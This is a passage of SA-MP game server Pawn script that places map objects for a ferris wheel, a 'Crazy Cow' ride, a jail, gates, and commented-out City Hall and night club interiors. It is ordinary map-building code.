	AttachObjectToObject(FerrisWheel_Seats[7], FerrisWheel_Base, -11.1600, -0.0399, -3.6300, 0.0000, 0.0000, 90.0000, 0);
	FerrisWheel_Seats[8] = CreateObject(19316, 0.00, 0.00, 0.00, 	0.00, 0.00, 0.00);
	AttachObjectToObject(FerrisWheel_Seats[8], FerrisWheel_Base, 11.1600, 0.0000, 3.6499, 0.0000, 0.0000, 90.0000, 0);
	FerrisWheel_Seats[9] = CreateObject(19316, 0.00, 0.00, 0.00, 	0.00, 0.00, 0.00);
	AttachObjectToObject(FerrisWheel_Seats[9], FerrisWheel_Base, 7.0399, -0.0200, 9.3600, 0.0000, 0.0000, 90.0000, 0);
	//FerrisWheel



	//Crazy Cow
	CreateObject(18886, 827.79, -1941.21, 13.25,   0.00, 0.00, 0.00);
	CreateObject(18886, 827.79, -1941.21, 12.75,   0.00, 0.00, 0.00);
	CreateObject(18886, 827.79, -1938.21, 13.25,   0.00, 0.00, 0.00);
	CreateObject(18886, 827.79, -1935.21, 13.25,   0.00, 0.00, 0.00);
	CreateObject(18886, 827.79, -1932.21, 13.25,   0.00, 0.00, 0.00);
	CreateObject(18886, 827.79, -1938.21, 12.75,   0.00, 0.00, 0.00);
	CreateObject(18886, 827.79, -1935.21, 12.75,   0.00, 0.00, 0.00);
	CreateObject(18886, 827.79, -1932.21, 12.75,   0.00, 0.00, 0.00);
	CreateObject(983, 828.06, -1928.82, 12.54,   0.00, 0.00, 90.00);
	CreateObject(984, 835.73, -1936.96, 12.54,   0.00, 0.00, 180.00);
	CreateObject(14409, 834.93, -1932.74, 9.32,   0.00, 0.00, -90.00);
	CreateObject(14409, 834.93, -1936.74, 9.32,   0.00, 0.00, -90.00);
	CreateObject(14409, 834.93, -1940.74, 9.32,   0.00, 0.00, -90.00);
	CreateObject(984, 835.73, -1936.96, 12.54,   0.00, 0.00, 0.00);
	CreateObject(983, 828.06, -1928.82, 12.54,   0.00, 0.00, -90.00);
	CreateObject(983, 828.06, -1944.82, 12.54,   0.00, 0.00, 90.00);
	CreateObject(983, 828.06, -1944.82, 12.54,   0.00, 0.00, -90.00);
	CreateObject(984, 823.23, -1936.96, 12.54,   0.00, 0.00, 0.00);
	CreateObject(984, 823.23, -1936.96, 12.54,   0.00, 0.00, 180.00);
	CreateObject(19362, 832.21, -1942.79, 10.76,   0.00, 0.00, 90.00);
	CreateObject(19362, 832.24, -1930.73, 10.76,   0.00, 0.00, 90.00);
	CreateObject(2631, 828.05, -1939.54, 12.54,   0.00, 0.00, 0.00);
	CreateObject(2631, 828.05, -1939.54, 12.64,   0.00, 0.00, 0.00);
	CreateObject(2631, 828.05, -1936.54, 12.64,   0.00, 0.00, 0.00);
	CreateObject(2631, 828.04, -1933.46, 12.64,   0.00, 0.00, 0.00);
	CreateObject(2631, 828.04, -1933.46, 12.54,   0.00, 0.00, 0.00);
	CreateObject(2631, 828.05, -1936.54, 12.54,   0.00, 0.00, 0.00);
	CreateObject(2631, 828.05, -1942.54, 12.64,   0.00, 0.00, 0.00);
	CreateObject(2631, 828.04, -1930.46, 12.64,   0.00, 0.00, 0.00);
	CreateObject(2631, 825.05, -1941.54, 12.64,   0.00, 0.00, 90.00);
	CreateObject(2631, 825.05, -1937.54, 12.64,   0.00, 0.00, 90.00);
	CreateObject(2631, 825.05, -1933.54, 12.64,   0.00, 0.00, 90.00);
	CreateObject(2631, 825.05, -1931.54, 12.64,   0.00, 0.00, 90.00);
	CreateObject(19362, 828.43, -1943.48, 10.89,   0.00, 0.00, 90.00);
	CreateObject(19362, 825.67, -1943.46, 10.89,   0.00, 0.00, 90.00);
	CreateObject(19362, 824.15, -1941.87, 10.89,   0.00, 0.00, 0.00);
	CreateObject(19362, 824.15, -1938.37, 10.89,   0.00, 0.00, 0.00);
	CreateObject(19362, 824.15, -1934.87, 10.89,   0.00, 0.00, 0.00);
	CreateObject(19362, 824.15, -1931.37, 10.89,   0.00, 0.00, 0.00);
	CreateObject(2631, 831.05, -1941.54, 12.64,   0.00, 0.00, 90.00);
	CreateObject(2631, 831.05, -1937.54, 12.64,   0.00, 0.00, 90.00);
	CreateObject(2631, 831.05, -1933.54, 12.64,   0.00, 0.00, 90.00);
	CreateObject(2631, 831.05, -1931.54, 12.64,   0.00, 0.00, 90.00);
	CreateObject(19362, 829.21, -1942.79, 10.76,   0.00, 0.00, 90.00);
	CreateObject(19362, 830.39, -1943.46, 10.89,   0.00, 0.00, 90.00);
	CreateObject(19362, 828.43, -1929.48, 10.89,   0.00, 0.00, 90.00);
	CreateObject(19362, 830.35, -1929.50, 10.89,   0.00, 0.00, 90.00);
	CreateObject(19362, 825.67, -1929.48, 10.89,   0.00, 0.00, 90.00);

	Cow_Seats[0] = CreateObject(16442, 828.37, -1940.99, 13.79,   0.00, 0.00, 0.00);
	Cow_Seats[1] = CreateObject(16442, 828.37, -1937.99, 13.79,   0.00, 0.00, 0.00);
	Cow_Seats[2] = CreateObject(16442, 828.37, -1934.99, 13.79,   0.00, 0.00, 0.00);
	Cow_Seats[3] = CreateObject(16442, 828.37, -1931.99, 13.79,   0.00, 0.00, 0.00);
	//Crazy Cow



//////////////////////////////////////////////////////////////////////////////////




// New Map Jail

JailX = CreateDynamicObject(971, 1764.49976, -1547.03247, 2004.02783,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1535, 1756.47961, -1538.67529, 1992.65186,   0.00000, 0.00000, 0.00000);



// Los Santos barf Oomade :OOOOOOOOOOOOOOOOOO
// City Hall ::
/*

//ooooohohhhhhhhhhhhhh

CreateDynamicObject(18771, 2013.78, 986.20, -12.18,   0.00, 0.00, 0.00);
CreateDynamicObject(19158, 2001.91, 1007.52, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(19128, 2014.84, 988.17, 37.60,   0.00, 0.00, 0.00);
CreateDynamicObject(19159, 2007.02, 1007.50, 41.59,   0.00, 0.00, 0.00);
CreateDynamicObject(19143, 2004.26, 1017.70, 41.65,   0.00, 0.00, 180.00);
CreateDynamicObject(19159, 2001.97, 1007.43, 41.59,   0.00, 0.00, 0.00);
CreateDynamicObject(19144, 1999.57, 1017.69, 41.77,   0.00, 0.00, 180.00);
CreateDynamicObject(19159, 1996.84, 1007.60, 41.49,   0.00, 0.00, 0.00);
CreateDynamicObject(19145, 1993.99, 1017.74, 41.69,   0.00, 0.00, 180.00);
CreateDynamicObject(19146, 1991.74, 1015.06, 41.69,   0.00, 0.00, -90.00);
CreateDynamicObject(19159, 1996.81, 1002.43, 41.49,   0.00, 0.00, 0.00);
CreateDynamicObject(19147, 1991.69, 1009.87, 41.69,   0.00, 0.00, -90.00);
CreateDynamicObject(19159, 2007.08, 1012.65, 41.49,   0.00, 0.00, 0.00);
CreateDynamicObject(19148, 1991.75, 1004.48, 41.69,   0.00, 0.00, -90.00);
CreateDynamicObject(19159, 2001.94, 1012.62, 41.49,   0.00, 0.00, 0.00);
CreateDynamicObject(19149, 1991.73, 999.94, 41.69,   0.00, 0.00, 270.00);
CreateDynamicObject(19159, 1996.84, 1012.62, 41.49,   0.00, 0.00, 0.00);
CreateDynamicObject(19159, 2001.95, 1002.45, 41.49,   0.00, 0.00, 0.00);
CreateDynamicObject(19159, 2007.03, 1002.36, 41.49,   0.00, 0.00, 0.00);
CreateDynamicObject(19143, 1994.45, 997.30, 41.69,   0.00, 0.00, 0.00);
CreateDynamicObject(19144, 1999.62, 997.35, 41.69,   0.00, 0.00, 0.00);
CreateDynamicObject(19145, 2004.74, 997.33, 41.69,   0.00, 0.00, 0.00);
CreateDynamicObject(19146, 2009.89, 997.33, 41.69,   0.00, 0.00, 0.00);
CreateDynamicObject(19147, 2012.16, 1000.08, 41.69,   0.00, 0.00, -270.00);
CreateDynamicObject(19148, 2012.14, 1005.24, 41.69,   0.00, 0.00, 90.00);
CreateDynamicObject(19149, 2012.13, 1010.41, 41.69,   0.00, 0.00, 90.00);
CreateDynamicObject(19144, 2012.12, 1015.21, 41.69,   0.00, 0.00, 90.00);
CreateDynamicObject(19454, 1991.58, 1012.95, 39.88,   0.00, 0.00, 0.00);
CreateDynamicObject(18769, 2001.90, 1007.45, 41.60,   0.00, 0.00, 0.00);
CreateDynamicObject(19145, 2009.10, 1017.68, 41.69,   0.00, 0.00, 180.00);
CreateDynamicObject(1723, 1992.20, 1011.72, 38.09,   0.00, 0.00, 90.00);
CreateDynamicObject(18769, 2001.95, 1018.36, 32.09,   90.00, 0.00, 0.00);
CreateDynamicObject(19126, 2013.79, 986.20, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(14391, 1994.86, 1003.63, 39.01,   0.00, 0.00, 180.00);
CreateDynamicObject(1723, 1993.43, 1014.95, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(1723, 1996.92, 1014.97, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(1723, 1995.56, 1010.59, 38.09,   0.00, 0.00, 180.00);
CreateDynamicObject(18769, 1990.95, 1007.59, 32.09,   90.00, 0.00, 90.00);
CreateDynamicObject(2395, 1995.81, 1003.03, 36.46,   0.00, 0.00, 90.00);
CreateDynamicObject(1723, 2002.59, 1010.58, 38.09,   0.00, 0.00, 180.00);
CreateDynamicObject(2395, 1995.81, 1001.33, 36.46,   0.00, 0.00, 90.00);
CreateDynamicObject(1823, 1993.70, 1012.31, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(1823, 1994.80, 1012.30, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(1823, 1995.94, 1012.30, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(1823, 1997.10, 1012.30, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(1823, 1999.40, 1012.29, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(2229, 1999.50, 1010.45, 38.09,   0.00, 0.00, 540.00);
CreateDynamicObject(2229, 2000.02, 1015.04, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(19128, 2000.43, 1001.30, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1993.94, 1012.72, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(3524, 2016.89, 988.43, 36.79,   0.00, 0.00, 0.00);
CreateDynamicObject(3524, 2012.97, 988.40, 36.79,   0.00, 0.00, 0.00);
CreateDynamicObject(3525, 2016.78, 987.11, 38.07,   0.00, 0.00, 0.00);
CreateDynamicObject(19128, 2000.43, 1005.27, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(19128, 2004.40, 1005.28, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(3525, 2012.98, 987.07, 38.17,   0.00, 0.00, 0.00);
CreateDynamicObject(19128, 2004.41, 1001.30, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(18102, 2004.86, 1006.87, 42.40,   0.00, 0.00, 430.00);
CreateDynamicObject(1823, 1998.26, 1012.30, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(1823, 2000.53, 1012.28, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(1823, 2001.67, 1012.28, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(1723, 2000.43, 1015.00, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(2229, 1996.49, 1015.14, 38.09,   0.00, 0.00, 0.00);
CreateDynamicObject(1723, 1999.01, 1010.62, 38.09,   0.00, 0.00, 180.00);
CreateDynamicObject(2229, 1995.95, 1010.26, 38.09,   0.00, 0.00, 540.00);
CreateDynamicObject(1551, 1994.06, 1012.44, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1994.27, 1012.69, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1994.15, 1012.92, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1996.49, 1012.62, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1995.18, 1012.53, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1995.00, 1012.72, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1996.27, 1012.82, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1996.31, 1012.49, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1995.12, 1012.90, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1997.59, 1012.51, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1995.30, 1012.73, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1996.09, 1012.65, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1997.42, 1012.65, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1997.82, 1012.60, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1997.62, 1012.78, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 2001.97, 1012.65, 38.79,   0.00, 0.00, 0.06);
CreateDynamicObject(1551, 2001.87, 1012.78, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 2002.04, 1012.93, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 2002.09, 1012.78, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1998.92, 1012.64, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1998.77, 1012.51, 38.79,   0.00, 0.00, 0.06);
CreateDynamicObject(1551, 1998.64, 1012.63, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1998.78, 1012.78, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1999.76, 1012.67, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1999.61, 1012.54, 38.79,   0.00, 0.00, 0.06);
CreateDynamicObject(1551, 1999.49, 1012.66, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 1999.64, 1012.81, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 2001.05, 1012.71, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 2000.92, 1012.59, 38.79,   0.00, 0.00, 0.06);
CreateDynamicObject(1551, 2000.80, 1012.71, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(1551, 2000.97, 1012.86, 38.79,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2012.00, 997.23, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2007.38, 997.11, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2007.82, 995.92, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2009.46, 995.03, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2013.23, 996.66, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2014.42, 995.83, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2011.15, 993.90, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2011.96, 992.76, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2015.62, 994.37, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2017.12, 991.34, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2013.39, 991.41, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2013.14, 989.76, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2016.39, 992.97, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2017.27, 989.75, 39.22,   0.00, 0.00, 0.00);
CreateDynamicObject(3515, 2015.48, 991.22, 37.06,   0.00, 0.00, 0.00);
CreateDynamicObject(3515, 2011.70, 995.95, 37.17,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2014.63, 986.08, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2018.61, 986.10, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2024.38, 985.48, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2017.27, 986.02, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2023.04, 985.68, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2015.94, 986.12, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2021.54, 985.76, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2018.54, 984.46, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2018.39, 979.05, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2018.34, 980.79, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2018.43, 982.77, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2021.56, 984.17, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2022.37, 978.94, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2022.02, 980.67, 10.95,   0.00, 0.00, 0.00);
CreateDynamicObject(3534, 2021.80, 982.42, 10.95,   0.00, 0.00, 0.00);


// SFPD Gates

sfpdgate1 = CreateDynamicObject(980, -1624.76929, 688.32880, 8.89564,   0.00000, 0.00000, 0.00000);
sfpdgate2 = CreateDynamicObject(980, -1636.33142, 688.33667, 8.89564,   0.00000, 0.00000, 0.00000);

// Tree Light


Balsys1 = CreateDynamicObject(19338,303.965179,-1901.703857,0.574748,0.000000,0.000000,0.000000);
//Balsys2 = CreateDynamicObject(19338,295.901000,-1900.918579,0.536103,0.000000,0.000000,0.000000);
//Balsys3 = CreateDynamicObject(19338,283.886016,-1899.791870,0.468552,0.000000,0.000000,0.000000);
Balsys2 = CreateDynamicObject(19338,271.637725,-1897.869995,0.361719,0.000000,0.000000,0.000000);
//Balsys5 = CreateDynamicObject(19338,262.903656,-1893.894287,0.673158,0.000000,0.000000,0.000000);
//Balsys6 = CreateDynamicObject(19338,252.438735,-1891.106689,0.671857,0.000000,0.000000,0.000000);
*/

// Sprays

CreateDynamicObject(971, 1023.78613, -1029.41455, 31.54673,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(971, 719.89923, -462.54150, 15.36874,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(971, 488.50983, -1735.14417, 10.85964,   -4.80000, -90.47999, -6.00000);
CreateDynamicObject(971, -1904.49500, 277.81223, 42.59598,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(971, -2425.55151, 1028.18726, 51.75891,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(971, 2071.54395, -1831.70972, 12.95858,   0.00000, 0.00000, -89.69999);





		//Night Club

	/*
	CreateDynamicObject(10444, 998.7, -1009, 41.4, 0, 0, 0);
CreateDynamicObject(983, 1034.5, -998, 42.799999237061, 0, 0, 0);
CreateDynamicObject(984, 1028, -1001.3, 42.7, 0, 0, 270);
CreateDynamicObject(984, 1016.8, -1001.4, 42.7, 0, 0, 271);
CreateDynamicObject(982, 1010.3, -1016.7, 42.7, 0, 0, 0);
CreateDynamicObject(982, 997.4, -1029.4, 42.7, 0, 0, 269.25);
CreateDynamicObject(984, 979.8, -1029.3, 42.6, 0, 0, 90.25);
CreateDynamicObject(982, 972.8, -1016.5, 42.6, 0, 0, 0);
CreateDynamicObject(1598, 994.8, -1003.4, 42.1, 0, 0, 0);
CreateDynamicObject(1598, 994.8, -1012.7, 42.1, 0, 0, 0);
CreateDynamicObject(1598, 994.8, -1021.3, 42.1, 0, 0, 0);
CreateDynamicObject(1598, 1005.7, -1021.4, 42.1, 0, 0, 0);
CreateDynamicObject(1598, 1005.9, -1012.7, 42.1, 0, 0, 0);
CreateDynamicObject(1598, 1005.9, -1003.4, 42.1, 0, 0, 0);
CreateDynamicObject(1281, 986, -1017.1, 42.6, 0, 0, 0);
CreateDynamicObject(1281, 986.3, -1027.4, 42.6, 0, 0, 0);
CreateDynamicObject(1281, 976.7, -1027.4, 42.6, 0, 0, 0);
CreateDynamicObject(1281, 977, -1013.8994140625, 42.599998474121, 0, 0, 0);
CreateDynamicObject(1281, 974, -1021.2, 42.6, 0, 0, 90);
CreateDynamicObject(1281, 994, -1027.4, 42.6, 0, 0, 0);
CreateDynamicObject(10009, 994, -1001.5, 46.400001525879, 359.49462890625, 0, 180.49987792969);
CreateDynamicObject(1649, 988.8, -1009.6, 50.7, 180, 0, 270);
CreateDynamicObject(1649, 988.8, -1009.6, 50.7, 0, 0, 270);
CreateDynamicObject(1649, 988.8, -1005.2, 50.7, 0, 0, 270);
CreateDynamicObject(1649, 988.8, -997.9, 50.8, 0, 0, 270);
CreateDynamicObject(1649, 988.79998779297, -998, 50.599998474121, 179.99450683594, 0, 270);
CreateDynamicObject(1649, 982.2, -1011.8, 50.7, 0, 0, 0);
CreateDynamicObject(1649, 977.8, -1011.8, 50.7, 0, 0, 0);
CreateDynamicObject(1649, 975, -1011.8, 50.7, 0, 0, 0);
CreateDynamicObject(1649, 986.6, -1011.8, 50.7, 0, 0, 0);
CreateDynamicObject(1649, 986.6, -1011.8, 50.7, 180, 0, 0);
CreateDynamicObject(1649, 982.2, -1011.8, 50.7, 180, 0, 0);
CreateDynamicObject(1649, 977.79999, -1011.79999, 50.7, 180, 0, 0);
CreateDynamicObject(1649, 974.8994140625, -1011.7998046875, 50.700000762939, 179.99450683594, 0, 0);
CreateDynamicObject(1649, 972.8, -1009.6, 50.7, 180, 0, 270);
CreateDynamicObject(1649, 972.8, -1005.2, 50.7, 180, 0, 270);
CreateDynamicObject(1649, 972.8, -1000.8, 50.7, 180, 0, 270);
CreateDynamicObject(1649, 972.8, -996.4, 50.7, 180, 0, 270);
CreateDynamicObject(1649, 988.7998, -1005.2, 50.7, 180, 0, 270);
CreateDynamicObject(1649, 972.7998, -1009.6, 50.7, 0, 0, 270);
CreateDynamicObject(1649, 972.7998, -1005.2, 50.7, 0, 0, 270);
CreateDynamicObject(1649, 972.7998, -1000.8, 50.7, 0, 0, 270);
CreateDynamicObject(1649, 972.7998046875, -996.400390625, 50.700000762939, 0, 0, 270);
CreateDynamicObject(2898, 975.1, -1008.9, 48.8, 0, 0, 0);
CreateDynamicObject(2898, 975.1, -1003.5, 48.8, 0, 0, 0);
CreateDynamicObject(2898, 975.1, -998.1, 48.8, 0, 0, 0);
CreateDynamicObject(2898, 979.1, -1008.9, 48.8, 0, 0, 0);
CreateDynamicObject(2898, 979.1, -1003.5, 48.8, 0, 0, 0);
CreateDynamicObject(2898, 979.1, -998.1, 48.8, 0, 0, 0);
CreateDynamicObject(2898, 983.1, -998.1, 48.8, 0, 0, 0);
CreateDynamicObject(2898, 986.7, -998.1, 48.8, 0, 0, 0);
CreateDynamicObject(2898, 983.1, -1003.5, 48.8, 0, 0, 0);
CreateDynamicObject(2898, 983.1, -1008.9, 48.8, 0, 0, 0);
CreateDynamicObject(2898, 986.6, -1003.5, 48.8, 0, 0, 0);
CreateDynamicObject(2898, 986.6, -1008.9, 48.8, 0, 0, 0);
CreateDynamicObject(18090, 974.7, -1000, 51.4, 0, 0, 180);
CreateDynamicObject(1723, 973.4, -1008.9, 48.8, 0, 0, 0);
CreateDynamicObject(1723, 975.5, -1011.1, 48.8, 0, 0, 180);
CreateDynamicObject(2315, 973.7, -1010, 48.8, 0, 0, 0);
CreateDynamicObject(1432, 979.8, -997, 48.8, 0, 0, 0);
CreateDynamicObject(1432, 986.9, -996.9, 48.8, 0, 0, 0);
CreateDynamicObject(1432, 979.2, -1010.5, 48.8, 0, 0, 0);
CreateDynamicObject(1432, 986.6, -1010.1, 48.8, 0, 0, 0);
CreateDynamicObject(1594, 986.6, -1005.8, 49.3, 0, 0, 0);
CreateDynamicObject(1432, 982.7, -1006, 48.8, 0, 0, 0);
CreateDynamicObject(1594, 982.8, -1010.1, 49.3, 0, 0, 0);
CreateDynamicObject(1594, 978.9, -1006, 49.3, 0, 0, 0);
CreateDynamicObject(1520, 976, -1003.9, 50, 0, 0, 0);
CreateDynamicObject(1517, 976, -1002.3, 50.1, 0, 0, 0);
CreateDynamicObject(1517, 976, -998.7, 50.1, 0, 0, 0);
CreateDynamicObject(1512, 976.2, -997.8, 50.1, 0, 0, 0);
CreateDynamicObject(1509, 976.2, -1003.1, 50.1, 0, 0, 0);
CreateDynamicObject(1517, 976.3, -996.3, 50.1, 0, 0, 0);
CreateDynamicObject(1520, 976.2, -999.7, 49.9, 0, 0, 0);
CreateDynamicObject(1486, 976.6, -997.2, 50.2, 0, 0, 0);
CreateDynamicObject(1544, 976.1, -1000.5, 49.9, 0, 0, 0);
CreateDynamicObject(1664, 976, -1002.8, 50, 0, 0, 0);
CreateDynamicObject(1668, 975.6, -997.5, 50, 0, 0, 0);
CreateDynamicObject(1669, 975.8, -996.4, 50, 0, 0, 0);
CreateDynamicObject(1950, 976.2, -1001.5, 50.1, 0, 0, 0);
CreateDynamicObject(1951, 976, -1000.7, 50.1, 0, 0, 0);
CreateDynamicObject(1486, 976, -999.1, 50, 0, 0, 0);
CreateDynamicObject(1510, 979.2, -1010.5, 49.4, 0, 0, 0);
CreateDynamicObject(1510, 978.9, -1006, 49.8, 0, 0, 0);
CreateDynamicObject(1510, 982.7, -1006, 49.4, 0, 0, 0);
CreateDynamicObject(1510, 986.5, -1005.8, 49.8, 0, 0, 0);
CreateDynamicObject(1510, 982.8, -1010.1, 49.8, 0, 0, 0);
CreateDynamicObject(1510, 986.6, -1010.1, 49.4, 0, 0, 0);
CreateDynamicObject(1510, 979.8, -997, 49.4, 0, 0, 0);
CreateDynamicObject(1510, 986.9, -996.9, 49.4, 0, 0, 0);
CreateDynamicObject(1594, 983.4, -997, 49.3, 0, 0, 0);
CreateDynamicObject(1510, 983.4, -997.1, 49.8, 0, 0, 0);
CreateDynamicObject(1543, 979.7, -1010.7, 49.4, 0, 0, 0);
CreateDynamicObject(1520, 979.2, -1010, 49.4, 0, 0, 0);
CreateDynamicObject(1517, 978.8, -1010.8, 49.6, 0, 0, 0);
CreateDynamicObject(1520, 982.5, -1010, 49.8, 0, 0, 0);
CreateDynamicObject(1517, 982.8, -1009.7, 50, 0, 0, 0);
CreateDynamicObject(1512, 983.1, -1010, 50, 0, 0, 0);
CreateDynamicObject(1543, 982.8, -1010.5, 49.8, 0, 0, 0);
CreateDynamicObject(1544, 986.6, -1009.6, 49.4, 0, 0, 0);
CreateDynamicObject(1551, 986.2, -1010.3, 49.7, 0, 0, 0);
CreateDynamicObject(1664, 987.1, -1010.4, 49.6, 0, 0, 0);
CreateDynamicObject(1551, 986.6, -1006.2, 50, 0, 0, 0);
CreateDynamicObject(1544, 986.9, -1005.9, 49.8, 0, 0, 0);
CreateDynamicObject(1543, 986.6, -1005.5, 49.8, 0, 0, 0);
CreateDynamicObject(1520, 986.2, -1005.8, 49.8, 0, 0, 0);
CreateDynamicObject(1517, 983.2, -1006.3, 49.6, 0, 0, 0);
CreateDynamicObject(1512, 982.8, -1005.5, 49.6, 0, 0, 0);
CreateDynamicObject(1509, 982.2, -1006.2, 49.6, 0, 0, 0);
CreateDynamicObject(1520, 978.9, -1005.6, 49.8, 0, 0, 0);
CreateDynamicObject(1543, 979.2, -1005.8, 49.8, 0, 0, 0);
CreateDynamicObject(1509, 978.9, -1006.4, 50, 0, 0, 0);
CreateDynamicObject(1487, 978.5, -1006, 50, 0, 0, 0);
CreateDynamicObject(1951, 979.4, -997.3, 49.6, 0, 0, 0);
CreateDynamicObject(1950, 979.8, -996.4, 49.6, 0, 0, 0);
CreateDynamicObject(1669, 980.3, -997.4, 49.6, 0, 0, 0);
CreateDynamicObject(1668, 983.4, -997.5, 49.9, 0, 0, 0);
CreateDynamicObject(1664, 983, -997.1, 49.9, 0, 0, 0);
CreateDynamicObject(1551, 983.3, -996.7, 50, 0, 0, 0);
CreateDynamicObject(1543, 983.7, -997.1, 49.8, 0, 0, 0);
CreateDynamicObject(1544, 986.4, -997.2, 49.4, 0, 0, 0);
CreateDynamicObject(1543, 986.9, -996.4, 49.4, 0, 0, 0);
CreateDynamicObject(1546, 987.4, -997.3, 49.5, 0, 0, 0);
CreateDynamicObject(2773, 987.2, -1003, 49.4, 0, 0, 270);
CreateDynamicObject(2773, 984.9, -1003, 49.4, 0, 0, 270);
CreateDynamicObject(2773, 984.9, -1000, 49.4, 0, 0, 270);
CreateDynamicObject(2773, 987.2, -1000, 49.4, 0, 0, 270);
CreateDynamicObject(2773, 990.2, -1000.4, 50.2, 0, 0, 270);
CreateDynamicObject(5153, 987, -1001.1, 48.2, 0, 344, 359.75);
CreateDynamicObject(5153, 987, -1001.9, 48.2, 0, 343.998, 359.747);
CreateDynamicObject(1515, 973.3, -1007.3, 48.8, 0, 0, 90);
CreateDynamicObject(1515, 973.3, -1006.5, 48.8, 0, 0, 90);
CreateDynamicObject(2233, 977.7, -995.5, 49, 0, 0, 0);
CreateDynamicObject(2104, 978.2, -995.4, 48.8, 0, 0, 0);
CreateDynamicObject(2233, 979, -995.4, 49, 0, 0, 0);
CreateDynamicObject(5816, 1011.8, -1005.5, 39.6, 0, 0, 270);
CreateDynamicObject(5153, 1008.6, -1002.7, 41.6, 0, 345.5, 0);
CreateDynamicObject(1486, 975.4, -1010.1, 49.4, 0, 0, 0);
CreateDynamicObject(1510, 975.1, -1010, 49.3, 0, 0, 0);
CreateDynamicObject(1510, 973.6, -1010, 49.3, 0, 0, 0);
CreateDynamicObject(1512, 974.5, -1010.1, 49.5, 0, 0, 0);
CreateDynamicObject(1520, 973.5, -1009.7, 49.3, 0, 0, 0);
CreateDynamicObject(1543, 975, -1009.7, 49.3, 0, 0, 0);
CreateDynamicObject(1544, 973.6, -1010.3, 49.3, 0, 0, 0);
CreateDynamicObject(1546, 974.1, -1009.7, 49.4, 0, 0, 0);
CreateDynamicObject(1551, 975.4, -1009.7, 49.5, 0, 0, 0);
